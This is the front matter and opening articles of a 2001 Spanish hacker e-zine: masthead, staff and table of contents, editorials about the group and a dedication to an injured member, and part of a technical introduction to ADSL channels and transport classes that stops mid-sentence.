Copy Link
Add to Bookmark
Report
The NetSearch E-Zine 06
####### ## ####### [The NetSearch E-Zine #6] ##
######## ## ### ###
#### ## ###### ##### ####### ###### ###### ##### ###### #######
#### ## ### ## ## ###### ### ## ### ## #### ## ### ##
### ## ####### ## ### ####### ## ## ## ## ### ##
#### ## ## ## ### ## ## ## ## ### ### ##
#### ## ####### ###### ##### ###### ######## ## ####### ### ##
- Segunda Epoca -
+----------------------------------------------------+
| The NetSearch E-Zine - Numero VI - Volumen II |
| 02/07/2001 |
+----------------------------------------------------+
- [ http://www.netsearch-ezine.com ] -
"No importa lo rapido que gires la cabeza, nunca podras ver
lo que sucede a tu alrededor..."
-- Greg Egan
x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x
+----------------------------------------------------------------------------+
| |
| NOTA: Ninguno de los autores que han colaborado en este numero se hacen |
| responsables de los actos que algunas personas puedan cometer una |
| una vez hayan leido sus respectivos articulos. |
| |
+----------------------------------------------------------------------------+
+ INFORMACION ACERCA DE NETSEARCH
- WEB OFICIAL:
http://www.netsearch-ezine.com
http://netsearch.page.to -> (redireccionador)
- CANAL DE IRC:
#netsearch , en el IRC-Hispano
- MAILS OFICIALES:
===========================================================
== ==
== Editor -> editor@netsearch-ezine.com ==
== Webmaster -> webmaster@netsearch-ezine.com ==
== Staff -> staff@netsearch-ezine.com ==
== ==
===========================================================
- DISTRIBUIDORES OFICIALES:
http://www.vanhackez.com
http://www.zine-store.com.ar
http://personales.com/espana/lugo/underhack/
- LLAVE PGP:
<++> llavesPGP/netsearch.asc $c47382c0f38094f037d2ec3326aee840
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: GnuPG v1.0.2 (GNU/Linux)
Comment: For info see http://www.gnupg.org
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
=PFmI
-----END PGP PUBLIC KEY BLOCK-----
<-->
- STAFF:
===========================================================
== ==
== Sp4rK -> sp4rk@netsearch-ezine.com ==
== |CoDeX| -> codex@netsearch-ezine.com ==
== RaiSe -> raise@netsearch-ezine.com ==
== cafo -> cafo@netsearch-ezine.com ==
== QuasaR -> quasar@netsearch-ezine.com ==
== PowR -> powr@netsearch-ezine.com ==
== Pope -> pope@netsearch-ezine.com ==
== MoebiuZ -> moebiuz@netsearch-ezine.com ==
== kekabron -> kekabron@netsearch-ezine.com ==
== MegadetH -> megadeth@netsearch-ezine.com ==
== HandeR -> hander@netsearch-ezine.com ==
== Chapulino -> chapulino@netsearch-ezine.com ==
== ==
===========================================================
- COLABORADORES EN ESTE NUMERO:
* JohnnyG - johnny_g@usa.com
* NETb0rg - root@hackingzone.org
* WhEkeP - whekep@hotmail.com
* TaSeH - taseh@gmx.net
* HuFaKlF - amilrego@worldonline.es
* Wintermute - wintrmute@retemail.es
* Memonix - memonix@bigfoot.com
* Plateado - garra@iespana.es
* TheGuesT - theguest@ono.com
- SALUDOS:
* A PaRaNoiK
* A todos los e-zines de habla hispana
* A los colaboradores de este numero
* A toda la gente del IRC y de la lista de correo
* A tod@s en general
- RECOMENDADO EL USO DEL EDIT DE MS-DOS O EL VIM DE LINUX
x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x
+ TOC
+---------------------------------------------------------+---------------+
| FILE | SIZE | TITULO | AUTOR |
|==========+========+=====================================+===============|
| 0x00.txt | 10K | Indice | NetSearch |
+----------+--------+-------------------------------------+---------------+
| 0x01.txt | 7K | Editorial | Editor |
+----------+--------+-------------------------------------+---------------+
| 0x02.txt | 27K | Todo (o casi todo) sobre ADSL | MegadetH |
+----------+--------+-------------------------------------+---------------+
| 0x03.txt | 24K | Lenguaje C (2/2) | JohnnyG |
+----------+--------+-------------------------------------+---------------+
| 0x04.txt | 27K | Bugs de Formato (1/2) | RaiSe |
+----------+--------+-------------------------------------+---------------+
| 0x05.txt | 6K | NetSearch al habla | NetSearch |
+----------+--------+-------------------------------------+---------------+
| 0x06.txt | 35K | Redes Privadas Virtuales (VPN) | NETb0rg |
+----------+--------+-------------------------------------+---------------+
| 0x07.txt | 38K | Micro Motorola MC68000 | MoebiuZ |
+----------+--------+-------------------------------------+---------------+
| 0x08.txt | 15K | En contacto con Wintermute | NetSearch |
+----------+--------+-------------------------------------+---------------+
| 0x09.txt | 19K | Overflows Alfanumericos | RaiSe |
+----------+--------+-------------------------------------+---------------+
| 0x10.txt | 25K | Breves de NetSearch | Varios |
+----------+--------+-------------------------------------+---------------+
| 0x11.txt | 12K | Intro. a Circuitos Digitales | WhEkeP |
+----------+--------+-------------------------------------+---------------+
| 0x12.txt | 40K | NetSearch Mail/INBOX | NetSearch |
+----------+--------+-------------------------------------+---------------+
| 0x13.txt | 15K | Introduccion a Linux | HuFaKlF |
+----------+--------+-------------------------------------+---------------+
| 0x14.htm | 312K | Curso de Virii (Virus Inform.) | Wintermute |
+----------+--------+-------------------------------------+---------------+
| 0x15.txt | 13K | Balanceo de carga entre SMTP's | |CoDeX| |
+----------+--------+-------------------------------------+---------------+
| 0x16.txt | 15K | Introduccion a JunOS | TaSeH |
+----------+--------+-------------------------------------+---------------+
| 0x17.txt | 49K | Seguridad en la WWW | Memonix |
+----------+--------+-------------------------------------+---------------+
| 0x18.txt | 1K | Despedida | Editor |
+----------+--------+-------------------------------------+---------------+
- [ [ NetSearch Ezine #6 ] ] -
==================================================================
== Para extraer los articulos del ezine en archivos separados ==
== ejecutar "./nextract -s ns006.txt" ==
==================================================================
- [ http://www.netsearch-ezine.com ] -
0x00
-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_
=-[ 0x01 ]-==================================================================
=-[ NetSearch Ezine #6 ]-====================================================
=-[ Editorial ]-=============================================================
=-[ por Editor ]-============================================================
Hola a tod@s. Como podeis ver aqui estamos otra vez acompaÒados de un nuevo
numero de NS [al parecer esas siglas se han convertida en el diminutivo
'oficial' ;D]. Con este hacemos 6 numeros desde aquel Mayo del 99, hay que
ver como pasa el tiempo..
Y la verdad, pensandolo bien, han transcurrido algo mas de dos aÒos y pocas
cosas han cambiado en cuanto a NetSearch. La gente del irc y de la lista de
correo sigue siendo mas o menos la misma, seguimos reuniendonos practicamente
cada noche para hablar de cualquier cosa, algunos hasta salimos por ahi de
cachondeillo algun dia que otro. Tengo que reconocer que da gusto estar en un
'grupo' asi, donde lo que reina es el colegueo y las ganas de aprender, por
encima de buscar fama o chorradas varias.
Tambien aprovecho desde aqui para despedirme de dos integrantes de NS que han
decidido marcharse. El primero DarK_FeaR (hola dark XD), que por falta de
tiempo penso que era mejor estar 'fuera' por un tiempo (como recordareis fue
el anterior y primer editor durante los tres numeros). A ver si dentro de una
temporada vuelves pa'dentro otra vez ;). Y el segundo es Doing, que por una
razon parecida que todos comprendemos (curro), no tiene el tiempo suficiente.
Tambien desde aqui te deseamos lo mejor ;).
Mas cosillas..
Tambien comentar el gran numero de aportaciones externas que hemos tenido
para este numero. Y es que nos han llegado articulos de todas partes, por
ejemplo de Mexico; un placer saber que por alli tambien nos leen :). Desde
aqui les doy las gracias a tod@s los colaboradores espontaneos que hemos
tenido para esta ocasion. Por cierto que este numero del ezine ha batido el
record en cuanto a tamaÒo, hemos llegado a los 700 K's, quien lo iba a decir
:).
Otra tema importante es que (como habreis visto nada mas descomprimir el
ezine) el articulo 0x14 viene en forma de directorio y no de archivo txt. La
causa es que dicho articulo consiste en un curso de programacion de virus
informaticos (de una calidad envidiable, todo hay que decirlo), que nos ha
cedido Wintermute para que lo publiquemos en NS. Ante la imposibilidad de
meterlo todo en texto plano (debido a que se acompaÒa de imagenes), hemos
decidido integrarlo en un directorio aparte. Para leer el curso solo teneis
que apuntar con vuestro navegador html a '0x14/index.htm'. Por cierto que
esta es la primera parte, en el siguiente numero de NS publicaremos la
segunda.. y asi sucesivamente hasta que se termine :).
Cambiando de 'topic'.. esto lo comento a modo de 'anecdota'. Y es que es raro
que nadie nos haya dicho nada por nuestra manera de numerar los articulos.
Si os habeis fijado usamos numeracion 'hexadecimal', es decir, 0x01, 0x02,
0xn. Lo que pasa que cuando llegamos al 10 en vez de continuar con 0xa que
seria lo logico, seguimos con 0x10, 0x11.. La razon?, no hay ninguna en
especial.. para llevar la contraria supongo }:). Resumiendo, usamos
numeracion decimal pero poniendo un '0x' delante. Mas que nada lo digo para
que nadie se lleve 'sorpresas' de ultima hora ;).
Y bien, ahora que ya esta todo dicho os voy a dejar con una 'sub-editorial'
que escribio QuasaR. Si recordareis una vez comente que la editorial estaba
abierta a cualquier integrante del staff de NS que tuviera algo que decir.
Pues bien, ha llegado la ocasion.. asi que aqui lo teneis. Yo ya me despido.
Nos vemos en NS #7 alla por finales de Octubre / principios de Noviembre.
Un saludo a tod@s y feliz verano ;).
El Editor
-__-__-__-__-__-__-__-__-__-__-__-__-__-__-__-__-__-__-__-__-__-__-__-__-__
[[ Sub - Editorial by QuasaR ]]
La verdad es que desconocemos cual seran las expectativas de las distintas
publicaciones que podemos encontrar en Internet. En cierto modo, cada vez que
aparece una nueva publicacion digamos que es porque las expectativas de ese
grupo de personas que la forman no se ven acompaÒadas por las que ahora mismo
en la red podemos encontrar. De ahi que salgan nuevas publicaciones o grupos
con ganas de aportar aire diferente. Logicamente esto cuesta, y por eso
muchas son las que se quedan por el camino, incluso alguna se queda en una
simple idea.
NetSearch aparecio, como cualquier publicacion o grupo que se forma, con unas
ideas y donde cada una de las personas que han colaborado han tenido sus
propias expectativas. Y han creido en todo esto.... y aun siguen creyendo.
Por eso es de agradecerles a todas estas personas de que un numero mas pueda
ser editado.
Y aqui ocurre como con los colores, los hay de todos los tipos y tonos. Hay
publicaciones que buscan el hacerse un hueco en este mundo tan complicado de
las redes a base de un esfuerzo enorme en la traduccion de articulos.... pero
hacerse un hueco para que?, para fantasmear?, te da de comer?. Las hay que se
han popularizado por el tiempo que llevan en marcha... pero nunca segundas
partes fueron buenas....mucho tiempo si, mucho articulo si, pero para que?,
que se demuestra?, no lo se....
NetSearch ya va a editar su numero 6 despues de algun aÒo que otro en la red.
Pero es el nivel de sus articulos lo que caracteriza a NetSearch?, es el
tiempo en la red lo que hace que NetSearch siga? Por dios, claro que no.
NetSearch no es nada de eso, lo mejor de NetSearch es la gente seÒores. Sois
todos. Da igual que la ezine salga un poco mas floja o un mucho. Da igual si
no cumple con las expectativas del empedernido gooroo amante de la critica
..eso da igual.... NetSearch es ganas de trabajar, es ganas de aprender y
ante todo, es ganas de ser personas. Por supuesto, personas de esas que
tienen los pies en el suelo. Personas con las que se puede hablar de lo que
haga falta. Mil veces lo decimos.... estamos en el irc accesible a todos,
cuando querais....
Y entre muchas de estas personas que han estado siempre apoyando esta el
amigo Paranoik. Una persona que siempre ha creido en todos los proyectos que
se han ido montando y que siempre ha aportado su grano de arena. Y es de muy
agradecer que exista gente como el. Sin embargo ahora tiene que afrontar uno
de los retos mas fuertes de su vida. Una cosa llamada 'destino' ha elegido
para Paranoik que su vida este en peligro. Y ahora mismo ahi lo tenemos,
luchador como siempre lo ha sido, pero esta vez contra la propia muerte. Un
accidente lo ha preferido asi. Pero el es fuerte y desde aqui ademas lo vamos
a apoyar, estamos convencidos de que se va a recuperar.
Y pensando que antes o despues leera estas lineas, su colegas del grupo
Undersec, al que siempre ha pertenecido desde hace mas de 2 aÒos, quieren
decirle que aqui esta su team para lo que necesite.
Y como no, NetSearch, tambien quiere dedicarle todo este ezine a el. Porque
se lo merece.
Paranoik es para ti.....
NetSearch Staff
UNDERSEC Security Team
0x00
-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_
=-[ 0x02 ]-==================================================================
=-[ NetSearch Ezine #6 ]-====================================================
=-[ Todo (o casi todo) sobre ADSL ]-=========================================
=-[ por MegadetH ]-==========================================================
*0 Prologo
Bueno pues ya estamos aki un numero mas, dando la puta coÒa xD. Esta vez me
he desviado un poco del tema de la seguridad y me he decantado a escribir
sobre una tecnologia que muchos estais usando ya, aunke solo para acceder
pobremente a Inet, (cutremente, timo rlZ) pero, que bien desarrollada, puede
significar mucho en el campo de redes de datos (telecos suckS). Ademas como
ultimamente me he tirado a las redes xD, pos se nota...
Es una "pekeÒa" intro, ya que se podria escribir un libro entero. Si alguien
kiere ver las imagenes que acompaÒan al arti mail me.
*1 xDSL, øK coÒo es esto?
ADSL o asymetric digital subscribe line (linea de abonado digital asimetrica)
es uno de los miembros de las tecnologias de la familia xDSL, que pueden ser
utilizadas para convertir una linea de acceso en una linea digital de alta
velocidad. Mas adelante veremos como.
Este articulo se centra solo en ADSL aunque se nombran otros miembros de la
familia DSL, cuyas mayores ventajas radican en que pueden ser implementadas
en la mayoria de ocasiones sobre el cableado de cobre ya existente de las
compaÒias de telefonos. Las tecnologias DSL se puede decir k empezaron hace
mazo de aÒos con la RDSI (si alguien tiene interes en conocer la historia -
funcionamiento de la RDSI mail me o mail al staff) y que la experiencia con
esta, ha servido para el posterior desarrollo de la familia xDSL en si. (por
cierto k la timo continua cobrando un huevo por la RDSI, tecnologia ya vieja
y casi desfasada....).
En xDSL se aplica el termino "asimetrico" cuando hay distintas velocidades en
sentido descendente (downstream) y ascendente (upstream), y "simetrico"
cuando es la misma velocidad. Esto tiene sentido pk muchos servicios, como
podria ser el "video on demand" (aunke el ancho de banda necesario para eso
nu se si la timo sera capaz de lograrlo) o simplemente el acceso a Inet
generan mas trafico en sentido descendente que en sentido ascendente. Asi
ADSL, RADSL, y VDSL son asimetricas, y HDSL, HDSL2 y SDSL son simetricas (ver
Apendice-A tabla de los miembros mas importantes de xDSL). Algunas ventajas
de xDSL son: velocidad, ancho de banda, transporte de celdas ATM y paquetes
IP, implementacion sobre la instalacion de cableado ya existente....
*2 ADSL intro
ADSL vino a resolver algunas limitaciones que tenian otros miembros de la
familia xDSL con los askerosos bucles locales de abonado (sobre todo los de
la timo, donde te puedes encontrar empalmes de trozos de cables asi
retorciendo las puntas, entre otras barbaridades...). Dichos bucles locales
(cableado k va desde la centralita + proxima hasta casa del sufrido abonado)
siempre se han dejado abandonados, a pesar de la digitalizacion de las
centrales y de los troncales con tecnologias de portadora T y E (si alguien
esta interesado en conocer el funcionamiento/historia de las portadoras T y E
mail me o mail al staff) hace ya aÒos (bueno aki no tantos gracias de nuevo a
la eficiencia de nuestra kerida timo).
Asi p.e. HDSL y SDSL no soportan el transporte de seÒales analogicas, por
tanto no soportaban los telefonos analogicos, k todo dios tiene, hacia falta
un telefono digital o bien un TA (terminal adapter) como en los viejos
tiempos de la RDSI. Tambien se observo que los usuarios requerian por norma
general mas ancho de banda en sentido descendente que en sentido ascendente,
todo esto se resume en ADSL.
Las caracteristicas k distinguen a ADSL de otros DSLs son la inclusion de
unos filtros (tb conocidos como splitters,que son en la mayoria de casos
filtros de paso-bajo) entre el commutador local (centralita -si alguien esta
interesado en conocer el funcionamiento de una cia de telefonos mail me o al
staff-) y los equipos de usuario. Su funcion es separar las seÒales
analogicas (voz, faxes..) de las digitales (si alguien kiere saber
exactamente como, mail me o al staff) y tambien la de desviar el trafico de
datos hacia un commutador ATM o un router IP, que dirige los datos hacia un
ISP, un SP, intranets, Inet..etc, todo eso sin pasar por los abarrotados
troncales de las compaÒias telefonicas (esta es otra ventaja), cosa que no
hace la RDSI. La RDSI (valga la redundancia) usa los mismos troncales que la
voz, y por supuesto los modems analogicos tb (si alguien esta interesado en
la commutacion de circuitos que usa la RTC o la de paquetes mail me o al
staff). La maxima velocidad establecida para ADSL es de 8,192 Mbps
(downstream) aunque esto es casi imposible. Ademas p.e. los ISPS no soportan
estas velocidades de los usuarios, asi que estamos en 4/6 Mbps.
- -2-1 Configuracion
Ver Apendice-B : terminologia ADSL
Una configuracion basica podria ser la siguiente:
En la parte del usuario la ATU-R (Adsl Transmission Unit-Remote) hasta el
dispositivo final,que podria ser una Lan Ethernet, ATM o hasta un
decodificador para video digital. En el commutador de la centralita el
servicio de voz se dirige hacia la RTC con ayuda de otro filtro, y las
seÒales digitales se dirigen hacia un DSLAM (multiplexor DSL) que lleva
incluidos varios ATU-C (Adsl Transmission Unit-CO (central)).
Los servicios podrian ser ofrecidos de la siguiente manera:
Tras pasar por el DSLAM se pueden agrupar los enlaces ADSL hasta llegar a un
DACS (digital cross connect/panel de interconexion digital) llevando este los
datos hacia un sistema de troncales (T-3 o E-3 p.e.) y desde ahi hasta el
ISP, que a traves de sus routers los mandaria hacia Inet, intranets
corporativas, etc. Tambien se podria conectar el DSLAM a un router, a un
router IP o a un commutador ATM (mas sobre redes y enrutado IP o sobre redes
ATM mail me o al staff) situado en la misma centralita si el ISP o SP es el
mismo proveedor de ADSL.
El nodo de acceso DSLAM actualmente en la mayoria de ocasiones solo se dedica
a transportar los bits hacia los servicios por simples circuitos, es decir,
si hay 10 usuarios recibiendo 3 Mbps en downstream y 128Kpbs en upstream,el
enlace hacia el proveedor de servicios (ISP p.e.) debe ser de al menor 30Mbps
en ambos sentidos, aunke en downtream solo haga falta 1,280Mbps. Esto es
debido a la multiplexacion de las portadoras T (y E) (mas sobre la
multiplexacion (TDM,FDM,etc) y/o sobre portadoras T y E mail me o al staff).
Dichas portadoras son los enlaces usados normalmente. Esto se podria evitar
consiguiendo una multiplexacion estadistica en el DSLAM o incorporando
funcionalidad de commutacion de paketes en el mismo DSLAM. El aumento de
prestaciones del DSLAM sera mas normal dentro de poco, pudiendo incorporar
enrutadores IP, commutadores ATM, ofrecer servicios frame-relay, etc.
*3 Transporte y Canales
- -3.1 La transmision
Los productos ADSL han sido desarrollados usando la modulacion CAP y DMT,
(Carrierless Amplitude Phase y Discrete Multi Tone) como codificaciones de
linea. Es decir, a grosso modo es la forma en que se envian los putos bits
(esto, aunke distinto, podria ser equivalente al famoso 4B/5B de Fast
Ethernet por si os suena mas...). Normalmente se usa DMT por su capacidad de
adaptarse a las condiciones de la linea, al ruido y a las diafonias. No entro
a tratar aqui DMT (ni CAP/QAM) pk eso da para otro articulo...
Si se utiliza el mismo par de hilos para una operacion full-duplex,se debe
dividir el rango de frecuencia en 2 bandas: upstream y downstream (FDM,
multiplexacion por division en frecuencias), o usar la cancelacion de eco. La
cancelacion de eco elimina la posibilidad de k la seÒal en una direccion sea
interpretada como producida en direccion opuesta, y devuelta hacia el origen.
Esto se produce por incompatibilidad de impedancias en el medio de
transporte, y al usar la misma frecuencia se interpreta como una seÒal
procedente del otro extremo (los canceladores de eco restan la seÒal enviada
de la recibida). En ADSL se usan de manera conjunta ambos, ya k debido a la
naturaleza asimetrica de esta, los rangos de frecuencias se pueden solapar,
pero no coincidir (mas sobre FDM y cancelacion de eco mail me o al staff).
- -3.2 Sistema ADSL
El sistema ADSL esta basado en tramas, (esto ia os suena mas ein?). El flujo
de bits en el interior de las tramas ADSL se puede dividir en un maximo de 7
canales portadores o bearers. Los canales se dividen en 2 clases; hasta 4
canales downstream independientes k operan en modo unidireccional: AS0 AS1,
AS2 y AS3 (lo de AS nu se k coÒo sera...), mas 3 canales bidireccionales
(duplex) que pueden funcionar tanto en upstream como en downstream: LS0, LS1
y LS2 (LS pos igual k AS, npi). Hay 4 clases de transporte para los canales
portadores AS, basados en multiplos de 1,536 Mbps(T1). Estos son: 1,536,
3,072, 4,608 y 6,144 Mbps. Y 3 para los basados en multiplos de 2,048(E1):
2,048, 4,096 y 6,144 Mbps. No se define una velocidad maxima para un canal
portador determinado, aunke el limite viene determinado por la capacidad
total del enlace.
- -3.3 Canales downstream (simplex)
ADSL ha establecido unas velocidades de datos en los subcanales, para las
velocidades de transferencia por defecto de los canales portadores. P.e. la
clase de 6,144 no esta permitida en todas las portadoras AS a la vez (Ver
Apendice-C tablas de restricciones de velocidades). Es obligatorio el soporte
para, al menos, AS0. El numero maximo de subcanales k pueden estar activos y
el numero maximo de canales portadores k pueden ser transportados a la vez en
un sistema ADSL dependen de la clase de transporte, que a su vez depende de
la velocidad alcanzable por el bucle (distancia, ruidos, chapuzas tipo
timo..etc), y de la configuracion de los subcanales k se pueden configurar
para maximizar su numero o la velocidad del canal.
- --3.3.1 Las clases de transporte
Las clases de transporte estan numeradas de la 1 a la 4 (T1) y 2M 1 a 2M 3
(E1). El soporte de las clases 1 y 4 es obligatorio, el soporte de las clases
2 y 3 opcional, el soporte de las clases 2M es opcional tambien.
La clase 1 es obligatoria y es la k se usa en los bucles mas cortos, ofrece
la capacidad downstream mas alta (6,144 Mbps) y se puede conseguir mediante
el uso de 4 canales portadores a velocidades multiplos de 1,536. El soporte
para al menos un subcanal k opere a 6,144 Mbps en AS0 tb es obligatorio.
La clase 1 puede tener las siguientes configuraciones:
1 canal portador de 4,608 Mbps y un canal de 1,536 Mbps
2 canales portadores de 3,072 Mbps
1 canales portadores de 3,072 Mbps y dos de 1,536 Mbps
4 canales portadores de 1,536 Mbps
La clase 2 es opcional y transporta 4,608 Mbps en downstream, puede estar
compuesta por cualkier combinacion de 1 a 3 canales portadores a velocidades
multiplos de 1,536. Asi mismo puede ofrecer una o todas las velocidades pk
ninguno es obligatorio. AS3 nunca se usa en esta clase.
La clase 2 puede tener las siguientes configuraciones:
1 canal portador de 4,608 Mbps
1 canal portador de 3,072 Mbps y 1 de 1,536 Mbps
3 canales portadores de 1,536 Mbps
La clase de transporte 3 tb es opcional y transporta 3,072 Mbps es
downstream. Esta clase se puede componer de 1 o 2 canales portadores a
velocidades multiplas de 1,536 (como no). Puede ofrecer una o todas las
velocidades, pk ninguna es obligatoria. AS2 y AS3 nunca de usan en esta
clase.
Las configuraciones pueden ser:
1 canal portador de 3,072 Mbps
2 canales portadores de 1,536 Mbps
La clase 4 es obligatoria y usa en los bucles de mayor longitud. Ofrece la
capacidad doswnstream mas baja de todas las clases. Aki solo existe un canal
portador de 1,536 Mbps sobre AS0.
La especificion ADSL tb soporta las redes basadas en la portadora E (a saber,
k me parece k no lo hi dicho: las portadoras T se usan normalmente en EEUU y
las E en el resto del mundo, Europa inclusive..). Esta estructura de clases
se denomina 2M y solo soporta AS0, AS1 y AS2. Las clases de transporte 2M
estan numeradas de la 1 a la 3, la configuracion es similar a la de las
clases de portadora T. Todas las clases 2M son opcionales.
La clase 2M 1 se puede conseguir con la combinacion de 1, 2 o 3 canales
portadores operando a velocidades multiplos de 2,048 Mbps. Todas las
configuraciones de la clase 2M 1 son opcionales y puede tener las
siguientes:
1 canal portador de 6,144 Mbps
1 canal portador de 4,096 Mbps y 1 de 2,048 Mbps
3 canales portadores de 2,048 Mbps
La clase 2M 2 es opcional y tranporta 4,096 Mbps en downstream. 2M 2 se
compone de 1 o 2 canales a velocidades multiplos de 2,048, puede ofrecer una
o todas las velocidades de los canales, ya k ninguno es obligatorio. AS2
nunca se usa en esta clase. Las configuraciones pueden ser:
1 canal portador de 4,096 Mbps
2 canales portadores de 2,048 Mbps
La clase 2M 3 es opcional tb. Esta diseÒada para los bucles de mayor
longitud, y ofrece la capacidad downstream mas baja. Solo existe un canal
portador sobre el AS0 a 2,048 Mbps.
Se debe tener en cuenta k cuando se usa ADSL para trasnportar celdas ATM (mas
sobre ATM, mail me o al staff) en sentido downstream solo se usa AS0, por lo
k solo existe una opcion de configuracion k opera entre 1 y 4 velocidades.
Esto se define como clases de transporte ATM, de la 1 a la 4, y operan a
1,760, 3,488, 5,216 y 6,944 Mbps. Las velocidades son consecuencia de
compatibilidad con la AAL1 (ATM Adaptation Layer 1) y con ATM en general.
- -3.4 Canales bidireccionales (duplex)
De momento se pueden transportar hasta 3 canales bidireccionales
simultaneamente sobre un interfaz ADSL, uno de ellos es el canal de control,
obligatorio siempre (canal C) .Dicho canal transporta mensajes de
seÒalizacion para la seleccion de servicios y para el control de llamada.
Toda la seÒalizacion para el control de los canales downstream simplex se
trasnporta aki, aunke tb puede transportar seÒales de los canales duplex, si
estan presentes. El canal C siempre esta activo y opera a 16 Kbps en las
clases de transporte 4 y 2M 3, en los cuales es transportado en una seccion
especial de la cabecera ADSL. El resto de clases utiliza un canal C de 64
kbps y los mensajes son tranportados en el canal portador duplex LS0.
Ademas del canal C, un sistema ADSL puede transportar 2 canales portadores
bidireccionales de manera opcional, un LS1 a 160 Kbps y un LS2 a 384 Kbps o a
576 Kbps. La estructura de estos canales varia segun la clase de trans- porte
(como los simplex). Ambos tipos de canales se pueden relacionar (ver Apendice
D, tabla de relacion). Los canales duplex tb tienen la opcion de transportar
celdas ATM sobre el canal LS2, en este caso ademas de AAL1 se transportan
celdas con formato AAL5 (ATM Adaptation Layer 5). En este caso las
velocidades son 448 Kbps o 672 Kbps, al objeto de la compatibilidad con ATM.
*4 La cabecera y las tramas ADSL
- -4.1 La cabecera
ADSL incluye una cabecera para desarrollar una serie de funciones. Una de
la mas importantes es el sincronismo de los canales portadores, es decir,
que los dispositivos en los extremos de la conexion ADSL deben saber que
canales estan configurados (AS / LS) y a que velocidad funcionan.
Otras funciones son el coc (canal de operaciones), el ooc (canal de control
de operaciones) usados para la configuracion remota y la adaptacion de
velocidad, deteccion de errores mediante un CRC, ademas de una serie de bits
para administracion, operacion y mantenimiento (OAM). y bits usados para la
correccion de errores hacia delante. Es decir, sin tener k volver a
transmitir los datos (FEC, algunos de los terminos, raramente, se escriben en
minusculas...).
Los bits de la cabecera se envian en upstream y downstream, en cadenas
normalmente de 32 Kbps, aunque no siempre. P.e. para las estructuras de
